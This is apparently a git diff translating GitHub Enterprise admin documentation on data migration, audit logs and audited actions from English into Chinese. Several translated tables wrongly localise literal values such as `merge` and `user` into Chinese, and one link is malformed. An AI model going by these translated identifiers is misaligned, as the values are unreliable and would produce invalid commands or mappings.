+| 提交注释           | `commit_comment`              |
+| 拉取请求审查评论       | `pull_request_review_comment` |
+| 版本发布           | `发行版`                         |
+| 在拉取请求或问题上进行的操作 | `issue_event`                 |
+| 受保护分支          | `protected_branch`            |
 
-## Record state filters
+## 记录状态筛选器
 
-| Record state    | Description    |
-|-----------------|----------------|
-| `export`        | The record will be exported. |
-| `import`        | The record will be imported. |
-| `map`           | The record will be mapped. |
-| `rename`        | The record will be renamed. |
-| `merge`         | The record will be merged. |
-| `exported`      | The record was successfully exported. |
-| `imported`      | The record was successfully imported. |
-| `mapped`        | The record was successfully mapped. |
-| `renamed`       | The record was successfully renamed. |
-| `merged`        | The record was successfully merged. |
-| `failed_export` | The record failed to export. |
-| `failed_import` | The record failed to be imported. |
-| `failed_map`    | The record failed to be mapped. |
-| `failed_rename` | The record failed to be renamed. |
-| `failed_merge`  | The record failed to be merged. |
+| 记录状态            | 描述        |
+| --------------- | --------- |
+| `export`        | 将导出记录。    |
+| `import`        | 将导入记录。    |
+| `map`           | 将映射记录。    |
+| `rename`        | 将重命名记录。   |
+| `合并`            | 将合并记录。    |
+| `exported`      | 已成功导出记录。  |
+| `imported`      | 已成功导入记录。  |
+| `mapped`        | 已成功映射记录。  |
+| `renamed`       | 已成功重命名记录。 |
+| `merged`        | 已成功合并记录。  |
+| `failed_export` | 记录导出失败。   |
+| `failed_import` | 记录导入失败。   |
+| `failed_map`    | 记录映射失败。   |
+| `failed_rename` | 记录重命名失败。  |
+| `failed_merge`  | 记录合并失败。   |
 
-## Filtering audited records
+## 筛选审核的记录
 
-With the `ghe-migrator audit` command, you can filter based on the record type using the `-m` flag. Similarly, you can filter on the import state using the `-s` flag. The command looks like this:
+借助 `ghe-migrator audit` 命令，您可以使用 `-m` 标志基于记录类型进行筛选。 类似地，您可以使用 `-s` 标志基于导入状态进行筛选。 命令如下所示：
 
 ```shell
 $ ghe-migrator audit -m <em>RECORD_TYPE</em> -s <em>STATE</em> -g <em>MIGRATION_GUID</em>
 ```
 
-For example, to view every successfully imported organization and team, you would enter:
+例如，要查看每个成功导入的组织和团队，您可以输入：
 ```shell
 $ ghe-migrator audit -m organization,team -s mapped,renamed -g <em>MIGRATION_GUID</em>
 > model_name,source_url,target_url,state
 > organization,https://gh.source/octo-org/,https://ghe.target/octo-org/,renamed
 ```
 
-**We strongly recommend auditing every import that failed.** To do that, you will enter:
+**我们强烈建议您检查失败的每个导入。**要进行检查，您可以输入：
 ```shell
 $ ghe-migrator audit -s failed_import,failed_map,failed_rename,failed_merge -g <em>MIGRATION_GUID</em>
 > model_name,source_url,target_url,state
@@ -113,40 +114,40 @@ $ ghe-migrator audit -s failed_import,failed_map,failed_rename,failed_merge -g <
 > repository,https://gh.source/octo-org/octo-project,https://ghe.target/octo-org/octo-project,failed
 ```
 
-If you have any concerns about failed imports, contact {% data variables.contact.contact_ent_support %}.
+如果您对失败的导入有任何疑问，请联系 {% data variables.contact.contact_ent_support %}。
 
-## Completing the import on {% data variables.product.prodname_ghe_server %}
+## 在 {% data variables.product.prodname_ghe_server %} 上完成导入
 
-After your migration is applied to your target instance and you have reviewed the migration, you''ll unlock the repositories and delete them off the source. Before deleting your source data we recommend waiting around two weeks to ensure that everything is functioning as expected.
+在迁移应用到目标实例并且您已审查迁移后，您需要解锁仓库并将其从源中删除。 我们建议等待两周再删除您的源数据，以便确保所有数据都能按预期运行。
 
-## Unlocking repositories on the target instance
+## 在目标实例上解锁仓库
 
 {% data reusables.enterprise_installation.ssh-into-instance %}
 {% data reusables.enterprise_migrations.unlocking-on-instances %}
 
-## Unlocking repositories on the source
+## 在源上解锁仓库
 
-### Unlocking repositories from an organization on {% data variables.product.prodname_dotcom_the_website %}
+### 从 {% data variables.product.prodname_dotcom_the_website %} 上的组织解锁仓库
 
-To unlock the repositories on a {% data variables.product.prodname_dotcom_the_website %} organization, you'll send a `DELETE` request to <a href="/rest/reference/migrations#unlock-an-organization-repository" class="dotcom-only">the migration unlock endpoint</a>. You'll need:
-  * Your access token for authentication
-  * The unique `id` of the migration
-  * The name of the repository to unlock
+要在 {% data variables.product.prodname_dotcom_the_website %} 组织中解锁仓库，您需要向<a href="/rest/reference/migrations#unlock-an-organization-repository" class="dotcom-only">迁移解锁端点</a>发送 `DELETE` 请求。 您需要：
+  * 身份验证的访问令牌
+  * 迁移的唯一 `id`
+  * 要解锁的仓库的名称
 ```shell
 curl -H "Authorization: token <em>GITHUB_ACCESS_TOKEN</em>" -X DELETE \
   -H "Accept: application/vnd.github.wyandotte-preview+json" \
   https://api.github.com/orgs/<em>orgname</em>/migrations/<em>id</em>/repos/<em>repo_name</em>/lock
 ```
 
-### Deleting repositories from an organization on {% data variables.product.prodname_dotcom_the_website %}
+### 从 {% data variables.product.prodname_dotcom_the_website %} 上的组织中删除仓库
 
-After unlocking the {% data variables.product.prodname_dotcom_the_website %} organization's repositories, you should delete every repository you previously migrated using [the repository delete endpoint](/rest/reference/repos/#delete-a-repository). You'll need your access token for authentication:
+在解锁 {% data variables.product.prodname_dotcom_the_website %} 组织的仓库后，您应当使用[仓库删除端点](/rest/reference/repos/#delete-a-repository)删除之前迁移的每一个仓库。 您需要身份验证的访问令牌：
 ```shell
 curl -H "Authorization: token <em>GITHUB_ACCESS_TOKEN</em>" -X DELETE \
   https://api.github.com/repos/<em>orgname</em>/<em>repo_name</em>
 ```
 
-### Unlocking repositories from a {% data variables.product.prodname_ghe_server %} instance
+### 从 {% data variables.product.prodname_ghe_server %} 实例解锁仓库
 
 {% data reusables.enterprise_installation.ssh-into-instance %}
 {% data reusables.enterprise_migrations.unlocking-on-instances %}
diff --git a/translations/zh-CN/content/admin/user-management/migrating-data-to-and-from-your-enterprise/preparing-to-migrate-data-to-your-enterprise.md b/translations/zh-CN/content/admin/user-management/migrating-data-to-and-from-your-enterprise/preparing-to-migrate-data-to-your-enterprise.md
index 12b0ae88e1..3e86ab681a 100644
--- a/translations/zh-CN/content/admin/user-management/migrating-data-to-and-from-your-enterprise/preparing-to-migrate-data-to-your-enterprise.md
+++ b/translations/zh-CN/content/admin/user-management/migrating-data-to-and-from-your-enterprise/preparing-to-migrate-data-to-your-enterprise.md
@@ -1,6 +1,6 @@
 ---
-title: Preparing to migrate data to your enterprise
-intro: 'After generating a migration archive, you can import the data to your target {% data variables.product.prodname_ghe_server %} instance. You''ll be able to review changes for potential conflicts before permanently applying the changes to your target instance.'
+title: 准备将数据迁移到企业
+intro: '生成迁移存档后，您可以将数据导入目标 {% data variables.product.prodname_ghe_server %} 实例。 在将变更永久应用到目标实例之前，您需要检查变更，查看有无潜在的冲突。'
 redirect_from:
   - /enterprise/admin/migrations/preparing-the-migrated-data-for-import-to-github-enterprise-server
   - /enterprise/admin/migrations/generating-a-list-of-migration-conflicts
@@ -15,11 +15,12 @@ type: how_to
 topics:
   - Enterprise
   - Migration
-shortTitle: Prepare to migrate data
+shortTitle: 准备迁移数据
 ---
-## Preparing the migrated data for import to {% data variables.product.prodname_ghe_server %}
 
-1. Using the [`scp`](https://linuxacademy.com/blog/linux/ssh-and-scp-howto-tips-tricks#scp) command, copy the migration archive generated from your source instance or organization to your {% data variables.product.prodname_ghe_server %} target:
+## 准备迁移的数据以导入到 {% data variables.product.prodname_ghe_server %}
+
+1. 使用 [`scp`](https://linuxacademy.com/blog/linux/ssh-and-scp-howto-tips-tricks#scp) 命令将从源实例或组织生成的迁移存档复制到 {% data variables.product.prodname_ghe_server %} 目标：
 
     ```shell
     $ scp -P 122 <em>/path/to/archive/MIGRATION_GUID.tar.gz</em> admin@<em>hostname</em>:/home/admin/
@@ -27,122 +28,122 @@ shortTitle: Prepare to migrate data
 
 {% data reusables.enterprise_installation.ssh-into-target-instance %}
 
-3. Use the `ghe-migrator prepare` command to prepare the archive for import on the target instance and generate a new Migration GUID for you to use in subsequent steps:
+3. 使用 `ghe-migrator prepare` 命令准备要在目标实例上导入的存档，并生成新的迁移 GUID 供您在后续步骤中使用：
 
     ```shell
     ghe-migrator prepare /home/admin/<em>MIGRATION_GUID</em>.tar.gz
     ```
 
-    * To start a new import attempt, run `ghe-migrator prepare` again and get a new Migration GUID.
+    * 要开始新的导入尝试，请再次运行 `ghe-migrator prepare` 并获取新的迁移 GUID。
     * {% data reusables.enterprise_migrations.specify-staging-path %}
 
-## Generating a list of migration conflicts
+## 生成迁移冲突列表
 
-1. Using the `ghe-migrator conflicts` command with the Migration GUID, generate a *conflicts.csv* file:
+1. 使用包含迁移 GUID 的 `ghe-migrator conflicts` 命令生成一个 *conflicts.csv* 文件：
     ```shell
     $ ghe-migrator conflicts -g <em>MIGRATION_GUID</em> > conflicts.csv
     ```
-    - If no conflicts are reported, you can safely import the data by following the steps in "[Migrating data to your enterprise](/enterprise/admin/guides/migrations/applying-the-imported-data-on-github-enterprise-server/)".
-2. If there are conflicts, using the [`scp`](https://linuxacademy.com/blog/linux/ssh-and-scp-howto-tips-tricks#scp) command, copy *conflicts.csv* to your local computer:
+    - 如果未报告冲突，您可以按照“[将数据迁移到企业](/enterprise/admin/guides/migrations/applying-the-imported-data-on-github-enterprise-server/)”中的步骤操作，安全地导入数据。
+2. 如果存在冲突，请使用 [`scp`](https://linuxacademy.com/blog/linux/ssh-and-scp-howto-tips-tricks#scp) 命令将 *conflicts.csv* 复制到您的本地计算机：
   ```shell
   $ scp -P 122 admin@<em>hostname</em>:conflicts.csv ~/Desktop
   ```
-3. Continue to "[Resolving migration conflicts or setting up custom mappings](#resolving-migration-conflicts-or-setting-up-custom-mappings)".
+3. 继续“[解决迁移冲突或设置自定义映射](#resolving-migration-conflicts-or-setting-up-custom-mappings)”。
 
-## Reviewing migration conflicts
+## 检查迁移冲突
 
-1. Using a text editor or [CSV-compatible spreadsheet software](https://en.wikipedia.org/wiki/Comma-separated_values#Application_support), open *conflicts.csv*.
-2. With guidance from the examples and reference tables below, review the *conflicts.csv* file to ensure that the proper actions will be taken upon import.
+1. 使用文本编辑器或[与 CSV 兼容的电子表格软件](https://en.wikipedia.org/wiki/Comma-separated_values#Application_support)打开 *conflicts.csv*。
+2. 按照示例中的指导和下面的参考表检查 *conflicts.csv* 文件，确保导入时将发生正确的操作。
 
-The *conflicts.csv* file contains a *migration map* of conflicts and recommended actions. A migration map lists out both what data is being migrated from the source, and how the data will be applied to the target.
+*conflicts.csv* 文件包含冲突的*迁移映射*和建议操作。 迁移映射列出了数据的迁移来源和数据应用到目标的方式。
 
-| `model_name`   | `source_url`   | `target_url` | `recommended_action` |
-|--------------|--------------|------------|--------------------|
-| `user`         | `https://example-gh.source/octocat` | `https://example-gh.target/octocat` | `map` |
-| `organization` | `https://example-gh.source/octo-org` | `https://example-gh.target/octo-org` | `map` |
-| `repository`   | `https://example-gh.source/octo-org/widgets` | `https://example-gh.target/octo-org/widgets` | `rename` |
-| `team`         | `https://example-gh.source/orgs/octo-org/teams/admins` | `https://example-gh.target/orgs/octo-org/teams/admins` | `merge` |
+| `model_name` | `source_url`                                           | `target_url`                                           | `recommended_action` |
+| ------------ | ------------------------------------------------------ | ------------------------------------------------------ | -------------------- |
+| `用户`         | `https://example-gh.source/octocat`                    | `https://example-gh.target/octocat`                    | `map`                |
+| `组织`         | `https://example-gh.source/octo-org`                   | `https://example-gh.target/octo-org`                   | `map`                |
+| `仓库`         | `https://example-gh.source/octo-org/widgets`           | `https://example-gh.target/octo-org/widgets`           | `rename`             |
+| `团队`         | `https://example-gh.source/orgs/octo-org/teams/admins` | `https://example-gh.target/orgs/octo-org/teams/admins` | `合并`                 |
 
-Each row in *conflicts.csv* provides the following information:
+*conflicts.csv* 中的每一行都提供了以下信息：
 
-|    Name      | Description   |
-|--------------|---------------|
-| `model_name` | The type of data being changed. |
-| `source_url` | The source URL of the data. |
-| `target_url` | The expected target URL of the data.  |
-| `recommended_action` | The preferred action `ghe-migrator` will take when importing the data.  |
+| 名称                   | 描述                            |
+| -------------------- | ----------------------------- |
+| `model_name`         | 正在更改的数据的类型。                   |
+| `source_url`         | 数据的源 URL。                     |
+| `target_url`         | 数据的预期目标 URL。                  |
+| `recommended_action` | 导入数据时，将发生首选操作 `ghe-migrator`。 |
 
-### Possible mappings for each record type
+### 每个记录类型的可能映射
 
-There are several different mapping actions that `ghe-migrator` can take when transferring data:
+转移数据时，`ghe-migrator` 可以进行多种不同的映射操作：
 
-| `action`      | Description | Applicable models |
-|------------------------|-------------|-------------------|
-| `import`      | (default) Data from the source is imported to the target. | All record types
-| `map`         | Data from the source is replaced by existing data on the target. | Users, organizations, repositories
-| `rename`      | Data from the source is renamed, then copied over to the target. | Users, organizations, repositories
-| `map_or_rename` | If the target exists, map to that target. Otherwise, rename the imported model. | Users
-| `merge`       | Data from the source is combined with existing data on the target. | Teams
+| `action`        | 描述                            | 适用的模型    |
+| --------------- | ----------------------------- | -------- |
+| `import`        | （默认）源中的数据将导入目标。               | 所有记录类型   |
+| `map`           | 源中的数据将被目标上的现有数据替换。            | 用户、组织和仓库 |
+| `rename`        | 源中的数据将重命名，然后复制到目标。            | 用户、组织和仓库 |
+| `map_or_rename` | 如果存在目标，请映射到该目标。 否则，请重命名导入的模型。 | 用户       |
+| `合并`            | 源中的数据将与目标中的现有数据合并。            | 团队       |
 
-**We strongly suggest you review the *conflicts.csv* file and use [`ghe-migrator audit`](/enterprise/admin/guides/migrations/reviewing-migration-data) to ensure that the proper actions are being taken.** If everything looks good, you can continue to "[Migrating data to your enterprise](/enterprise/admin/guides/migrations/applying-the-imported-data-on-github-enterprise-server)".
+**我们强烈建议您检查 *conflicts.csv* 文件并使用 [`ghe-migrator audit`](/enterprise/admin/guides/migrations/reviewing-migration-data)，以确保正确的操作。**如果一切正常，您可以继续“[将数据迁移到企业](/enterprise/admin/guides/migrations/applying-the-imported-data-on-github-enterprise-server)”。
 
 
-## Resolving migration conflicts or setting up custom mappings
+## 解决迁移冲突或设置自定义映射
 
-If you believe that `ghe-migrator` will perform an incorrect change, you can make corrections by changing the data in *conflicts.csv*. You can make changes to any of the rows in *conflicts.csv*.
+如果您认为 `ghe-migrator` 将执行不正确的变更，可以更改 *conflicts.csv* 中的数据，进行修改。 您可以更改 *conflicts.csv* 中的任意行。
 
-For example, let's say you notice that the `octocat` user from the source is being mapped to `octocat` on the target:
+例如，我们假设您注意到源中的 `octocat` 用户正在被映射到目标上的 `octocat`：
 
-| `model_name`   | `source_url`   | `target_url` | `recommended_action` |
-|--------------|--------------|------------|--------------------|
-| `user`         | `https://example-gh.source/octocat` | `https://example-gh.target/octocat` | `map`
+| `model_name` | `source_url`                        | `target_url`                        | `recommended_action` |
+| ------------ | ----------------------------------- | ----------------------------------- | -------------------- |
+| `用户`         | `https://example-gh.source/octocat` | `https://example-gh.target/octocat` | `map`                |
 
-You can choose to map the user to a different user on the target. Suppose you know that `octocat` should actually be `monalisa` on the target. You can change the `target_url` column in *conflicts.csv* to refer to `monalisa`:
+您可以选择将用户映射到目标上的其他用户。 假设您知道 `octocat` 在目标上应当是 `monalisa`。 您可以更改 *conflicts.csv* 中的 `target_url` 列以指代 `monalisa`：
 
-| `model_name`   | `source_url`   | `target_url` | `recommended_action` |
-|--------------|--------------|------------|--------------------|
-| `user`         | `https://example-gh.source/octocat` | `https://example-gh.target/monalisa` | `map`
+| `model_name` | `source_url`                        | `target_url`                         | `recommended_action` |
+| ------------ | ----------------------------------- | ------------------------------------ | -------------------- |
+| `用户`         | `https://example-gh.source/octocat` | `https://example-gh.target/monalisa` | `map`                |
 
-As another example, if you want to rename the `octo-org/widgets` repository to `octo-org/amazing-widgets` on the target instance, change the `target_url` to `octo-org/amazing-widgets` and the `recommend_action` to `rename`:
+另外，如果您想在目标实例上将 `octo-org/widgets` 仓库重命名为 `octo-org/amazing-widgets`，请将 `target_url` 更改为 `octo-org/amazing-widgets`，以及将 `recommend_action` 更改为 `rename`：
 
-| `model_name`   | `source_url`   | `target_url` | `recommended_action` |
-|--------------|--------------|------------|--------------------|
-| `repository`   | `https://example-gh.source/octo-org/widgets` | `https://example-gh.target/octo-org/amazing-widgets` | `rename`   |
+| `model_name` | `source_url`                                 | `target_url`                                         | `recommended_action` |
+| ------------ | -------------------------------------------- | ---------------------------------------------------- | -------------------- |
+| `仓库`         | `https://example-gh.source/octo-org/widgets` | `https://example-gh.target/octo-org/amazing-widgets` | `rename`             |
 
-### Adding custom mappings
+### 添加自定义映射
 
-A common scenario during a migration is for migrated users to have different usernames on the target than they have on the source.
+迁移过程中一个常见的情况是，迁移用户的用户名在目标上与在源上不同。
 
-Given a list of usernames from the source and a list of usernames on the target, you can build a CSV file with custom mappings and then apply it to ensure each user's username and content is correctly attributed to them at the end of a migration.
+如果拥有源中的用户名列表和目标上的用户名列表，您可以通过自定义映射构建一个 CSV 文件，然后应用此文件，确保迁移结束时每个用户的用户名和内容都有正确的映射。
 
-You can quickly generate a CSV of users being migrated in the CSV format needed to apply custom mappings by using the [`ghe-migrator audit`](/enterprise/admin/guides/migrations/reviewing-migration-data) command:
+您可以使用 [`ghe-migrator audit`](/enterprise/admin/guides/migrations/reviewing-migration-data) 命令，快速生成应用自定义映射所需的迁移用户的 CSV 文件：
 
 ```shell
 $ ghe-migrator audit -m user -g <em>MIGRATION_GUID</em> > users.csv
 ```
 
-Now, you can edit that CSV and enter the new URL for each user you would like to map or rename, and then update the fourth column to have `map` or `rename` as appropriate.
+现在，您可以编辑该 CSV，并为您想要映射或重命名的每个用户输入新的 URL，然后根据需要将第四列更新为 `map` 或 `rename`。
 
-For example, to rename the user `octocat` to `monalisa` on the target `https://example-gh.target` you would create a row with the following content:
+例如，要在目标 `https://example-gh.target` 上将用户 `octocat` 重命名为 `monalisa`，您需要创建一个包含以下内容的行：
 
-| `model_name`   | `source_url`   | `target_url` | `state` |
-|--------------|--------------|------------|--------------------|
-| `user`         | `https://example-gh.source/octocat` | `https://example-gh.target/monalisa` | `rename`
+| `model_name` | `source_url`                        | `target_url`                         | `state`  |
+| ------------ | ----------------------------------- | ------------------------------------ | -------- |
+| `用户`         | `https://example-gh.source/octocat` | `https://example-gh.target/monalisa` | `rename` |
 
-The same process can be used to create mappings for each record that supports custom mappings. For more information, see [our table on the possible mappings for records](/enterprise/admin/guides/migrations/reviewing-migration-conflicts#possible-mappings-for-each-record-type).
+可以使用相同的流程为支持自定义映射的每个记录创建映射。 更多信息请参见[记录的可能映射表](/enterprise/admin/guides/migrations/reviewing-migration-conflicts#possible-mappings-for-each-record-type)。
 
-### Applying modified migration data
+### 应用修改的迁移数据
 
-1. After making changes, use the [`scp`](https://linuxacademy.com/blog/linux/ssh-and-scp-howto-tips-tricks#scp) command to apply your modified *conflicts.csv* (or any other mapping *.csv* file in the correct format) to the target instance:
+1. 进行更改后，请使用 [`scp`](https://linuxacademy.com/blog/linux/ssh-and-scp-howto-tips-tricks#scp) 命令将修改后的 *conflicts.csv*（或格式正确的任何其他映射 *.csv* 文件）应用到目标实例：
 
     ```shell
     $ scp -P 122 ~/Desktop/conflicts.csv admin@<em>hostname</em>:/home/admin/
     ```
 
-2. Re-map the migration data using the `ghe-migrator map` command, passing in the path to your modified *.csv* file and the Migration GUID:
+2. 使用 `ghe-migrator map` 命令重新映射迁移数据，并传入修改后的 *.csv* 文件的路径和迁移 GUID：
 
     ```shell
     $ ghe-migrator map -i conflicts.csv  -g <em>MIGRATION_GUID</em>
     ```
 
-3. If the `ghe-migrator map -i conflicts.csv  -g MIGRATION_GUID` command reports that conflicts still exist, run through the migration conflict resolution process again.
+3. 如果 `ghe-migrator map -i conflicts.csv  -g MIGRATION_GUID` 命令报告冲突仍然存在，请重新运行迁移冲突解决流程。
diff --git a/translations/zh-CN/content/admin/user-management/monitoring-activity-in-your-enterprise/activity-dashboard.md b/translations/zh-CN/content/admin/user-management/monitoring-activity-in-your-enterprise/activity-dashboard.md
index edc50c6daa..50da76d03a 100644
--- a/translations/zh-CN/content/admin/user-management/monitoring-activity-in-your-enterprise/activity-dashboard.md
+++ b/translations/zh-CN/content/admin/user-management/monitoring-activity-in-your-enterprise/activity-dashboard.md
@@ -1,6 +1,6 @@
 ---
-title: Activity dashboard
-intro: The Activity dashboard gives you an overview of all the activity in your enterprise.
+title: 活动仪表板
+intro: 活动仪表板提供企业中所有活动的概览。
 redirect_from:
   - /enterprise/admin/articles/activity-dashboard
   - /enterprise/admin/installation/activity-dashboard
@@ -12,22 +12,21 @@ versions:
 topics:
   - Enterprise
 ---
-The Activity dashboard provides weekly, monthly, and yearly graphs of the number of:
-- New pull requests
-- Merged pull requests
-- New issues
-- Closed issues
-- New issue comments
-- New repositories
-- New user accounts
-- New organizations
-- New teams
 
-![Activity dashboard](/assets/images/enterprise/activity/activity-dashboard-yearly.png)
+活动仪表板提供以下活动数量的周图、月度图和年度图表：
+- 新拉取请求
+- 已合并拉取请求
+- 新问题
+- 已关闭问题
+- 新问题评论
+- 新仓库
+- 新用户帐户
+- 新组织
+- 新团队
 
-## Accessing the Activity dashboard
+![活动仪表板](/assets/images/enterprise/activity/activity-dashboard-yearly.png)
 
-1. At the top of any page, click **Explore**.
-![Explore tab](/assets/images/enterprise/settings/ent-new-explore.png)
-2. In the upper-right corner, click **Activity**.
-![Activity button](/assets/images/enterprise/activity/activity-button.png)
+## 访问活动仪表板
+
+1. 在任一页面顶部，单击 **Explore**。 ![Explore 选项卡](/assets/images/enterprise/settings/ent-new-explore.png)
+2. 在右上角单击 **Activity**。 ![Activity 按钮](/assets/images/enterprise/activity/activity-button.png)
diff --git a/translations/zh-CN/content/admin/user-management/monitoring-activity-in-your-enterprise/audit-logging.md b/translations/zh-CN/content/admin/user-management/monitoring-activity-in-your-enterprise/audit-logging.md
index 0b39b98872..78768940fc 100644
--- a/translations/zh-CN/content/admin/user-management/monitoring-activity-in-your-enterprise/audit-logging.md
+++ b/translations/zh-CN/content/admin/user-management/monitoring-activity-in-your-enterprise/audit-logging.md
@@ -1,6 +1,6 @@
 ---
-title: Audit logging
-intro: '{% data variables.product.product_name %} keeps logs of audited{% ifversion ghes %} system,{% endif %} user, organization, and repository events. Logs are useful for debugging and internal and external compliance.'
+title: 审核日志
+intro: '{% data variables.product.product_name %} 会保留已审计 {% ifversion ghes %} 系统、{% endif %}用户、组织和仓库事件的日志。 日志可用于调试以及内部和外部合规。'
 redirect_from:
   - /enterprise/admin/articles/audit-logging
   - /enterprise/admin/installation/audit-logging
@@ -16,30 +16,31 @@ topics:
   - Logging
   - Security
 ---
-For a full list, see "[Audited actions](/admin/user-management/audited-actions)." For more information on finding a particular action, see "[Searching the audit log](/admin/user-management/searching-the-audit-log)."
 
-## Push logs
+有关完整列表，请参阅“[审核的操作](/admin/user-management/audited-actions)”。 有关查找特定操作的详细信息，请参阅“[搜索审核日志](/admin/user-management/searching-the-audit-log)”。
 
-Every Git push operation is logged. For more information, see "[Viewing push logs](/admin/user-management/viewing-push-logs)."
+## 推送日志
+
+会记录每个 Git 推送操作。 更多信息请参阅“[查看推送日志](/admin/user-management/viewing-push-logs)”。
 
 {% ifversion ghes %}
-## System events
+## 系统事件
 
-All audited system events, including all pushes and pulls, are logged to `/var/log/github/audit.log`. Logs are automatically rotated every 24 hours and are retained for seven days.
+所有经过审核的系统事件（包括所有推送和拉取）都会记录到 `/var/log/github/audit.log` 中。 日志每 24 小时自动轮换一次，并会保留七天。
 
-The support bundle includes system logs. For more information, see "[Providing data to {% data variables.product.prodname_dotcom %} Support](/admin/enterprise-support/providing-data-to-github-support)."
+支持包中包含系统日志。 更多信息请参阅“[向 {% data variables.product.prodname_dotcom %} Support 提供数据](/admin/enterprise-support/providing-data-to-github-support)”。
 
-## Support bundles
+## 支持包
 
-All audit information is logged to the `audit.log` file in the `github-logs` directory of any support bundle. If log forwarding is enabled, you can stream this data to an external syslog stream consumer such as [Splunk](http://www.splunk.com/) or [Logstash](http://logstash.net/). All entries from this log use and can be filtered with the `github_audit` keyword. For more information see "[Log forwarding](/admin/user-management/log-forwarding)."
+所有审核信息均会记录到任何支持包 `github-logs` 目录的 `audit.log` 文件中。 如果已启用日志转发，您可以将此数据传输到外部 syslog 流使用者，例如 [Splunk](http://www.splunk.com/) 或 [Logstash](http://logstash.net/)。 此日志中的所有条目均使用 `github_audit` 关键词，并且可以通过该关键词进行筛选。 更多信息请参阅“[日志转发](/admin/user-management/log-forwarding)。”
 
-For example, this entry shows that a new repository was created.
+例如，此条目显示已创建的新仓库。
 
 ```
 Oct 26 01:42:08 github-ent github_audit: {:created_at=>1351215728326, :actor_ip=>"10.0.0.51", :data=>{}, :user=>"some-user", :repo=>"some-user/some-repository", :actor=>"some-user", :actor_id=>2, :user_id=>2, :action=>"repo.create", :repo_id=>1, :from=>"repositories#create"}
 ```
 
-This example shows that commits were pushed to a repository.
+此示例显示提交已推送到仓库。
 
 ```
 Oct 26 02:19:31 github-ent github_audit: { "pid":22860, "ppid":22859, "program":"receive-pack", "git_dir":"/data/repositories/some-user/some-repository.git", "hostname":"github-ent", "pusher":"some-user", "real_ip":"10.0.0.51", "user_agent":"git/1.7.10.4", "repo_id":1, "repo_name":"some-user/some-repository", "transaction_id":"b031b7dc7043c87323a75f7a92092ef1456e5fbaef995c68", "frontend_ppid":1, "repo_public":true, "user_name":"some-user", "user_login":"some-user", "frontend_pid":18238, "frontend":"github-ent", "user_email":"some-user@github.example.com", "user_id":2, "pgroup":"github-ent_22860", "status":"post_receive_hook", "features":" report-status side-band-64k", "received_objects":3, "receive_pack_size":243, "non_fast_forward":false, "current_ref":"refs/heads/main" }
diff --git a/translations/zh-CN/content/admin/user-management/monitoring-activity-in-your-enterprise/audited-actions.md b/translations/zh-CN/content/admin/user-management/monitoring-activity-in-your-enterprise/audited-actions.md
index 87a3c98508..6d4389e626 100644
--- a/translations/zh-CN/content/admin/user-management/monitoring-activity-in-your-enterprise/audited-actions.md
+++ b/translations/zh-CN/content/admin/user-management/monitoring-activity-in-your-enterprise/audited-actions.md
@@ -1,6 +1,6 @@
 ---
-title: Audited actions
-intro: You can search the audit log for a wide variety of actions.
+title: 审核的操作
+intro: 您可以在审核日志中搜索各种操作。
 miniTocMaxHeadingLevel: 3
 redirect_from:
   - /enterprise/admin/articles/audited-actions
@@ -17,27 +17,20 @@ topics:
   - Security
 ---
 
-## Authentication
+## 身份验证
 
-Action                               | Description
------------------------------------- | ----------------------------------------
-`oauth_access.create`                | An [OAuth access token][] was [generated][generate token] for a user account.
-`oauth_access.destroy`               | An [OAuth access token][] was deleted from a user account.
-`oauth_application.destroy`          | An [OAuth application][] was deleted from a user or organization account.
-`oauth_application.reset_secret`     | An [OAuth application][]'s secret key was reset.
-`oauth_application.transfer`         | An [OAuth application][] was transferred from one user or organization account to another.
-`public_key.create`                  | An SSH key was [added][add key] to a user account or a [deploy key][] was added to a repository.
-`public_key.delete`                  | An SSH key was removed from a user account or a [deploy key][] was removed from a repository.
-`public_key.update`                  | A user account's SSH key or a repository's [deploy key][] was updated.{% ifversion ghes %}
-`two_factor_authentication.enabled`  | [Two-factor authentication][2fa] was enabled for a user account.
-`two_factor_authentication.disabled` | [Two-factor authentication][2fa] was disabled for a user account.{% endif %}
-
-  [add key]: /articles/adding-a-new-ssh-key-to-your-github-account
-  [deploy key]: /guides/managing-deploy-keys/#deploy-keys
-  [generate token]: /articles/creating-an-access-token-for-command-line-use
-  [OAuth access token]: /developers/apps/authorizing-oauth-apps
-  [OAuth application]: /guides/basics-of-authentication/#registering-your-app
-  [2fa]: /articles/about-two-factor-authentication
+| 操作                                   | 描述                                               |
+| ------------------------------------ | ------------------------------------------------ |
+| `oauth_access.create`                | 已为用户帐户[生成>][generate token] [OAuth 访问令牌][]。      |
+| `oauth_access.destroy`               | 已从用户帐户中删除 [OAuth 访问令牌][]。                        |
+| `oauth_application.destroy`          | 已从用户或组织帐户中删除 [OAuth 应用程序][]。                     |
+| `oauth_application.reset_secret`     | 已重置 [OAuth 应用程序][]的密钥。                           |
+| `oauth_application.transfer`         | 已将 [OAuth 应用程序][]从一个用户或组织帐户传送到另一个用户或组织帐户。        |
+| `public_key.create`                  | 已将 SSH 密钥[添加][add key]到用户帐户中，或者已将[部署密钥][]添加到仓库中。 |
+| `public_key.delete`                  | 已从用户帐户中移除 SSH 密钥，或已从仓库中移除[部署密钥][]。               |
+| `public_key.update`                  | 已更新用户帐户的 SSH 密钥或仓库的[部署密钥][]。{% ifversion ghes %}
+| `two_factor_authentication.enabled`  | 已为用户帐户启用[双重身份验证][2fa]。                           |
+| `two_factor_authentication.disabled` | 已为用户帐户禁用[双重身份验证][2fa]。{% endif %}
 
 {% ifversion ghes %}
 ## {% data variables.product.prodname_actions %}
@@ -46,159 +39,150 @@ Action                               | Description
 
 {% endif %}
 
-## Hooks
+## 挂钩
 
-Action                            | Description
---------------------------------- | -------------------------------------------
-`hook.create`                     | A new hook was added to a repository.
-`hook.config_changed`             | A hook's configuration was changed.
-`hook.destroy`                    | A hook was deleted.
-`hook.events_changed`             | A hook's configured events were changed.
+| 操作                    | 描述          |
+| --------------------- | ----------- |
+| `hook.create`         | 已向仓库添加新挂钩。  |
+| `hook.config_changed` | 已更改挂钩的配置。   |
+| `hook.destroy`        | 已删除挂钩。      |
+| `hook.events_changed` | 已更改挂钩的配置事件。 |
 
-## Enterprise configuration settings
+## 企业配置设置
 
-Action                                          | Description
------------------------------------------------ | -------------------------------------------{% ifversion ghes > 3.0 or ghae %}
-`business.advanced_security_policy_update` | A site admin creates, updates, or removes a policy for {% data variables.product.prodname_GH_advanced_security %}. For more information, see "[Enforcing policies for {% data variables.product.prodname_advanced_security %} in your enterprise](/admin/policies/enforcing-policies-for-advanced-security-in-your-enterprise)."{% endif %}
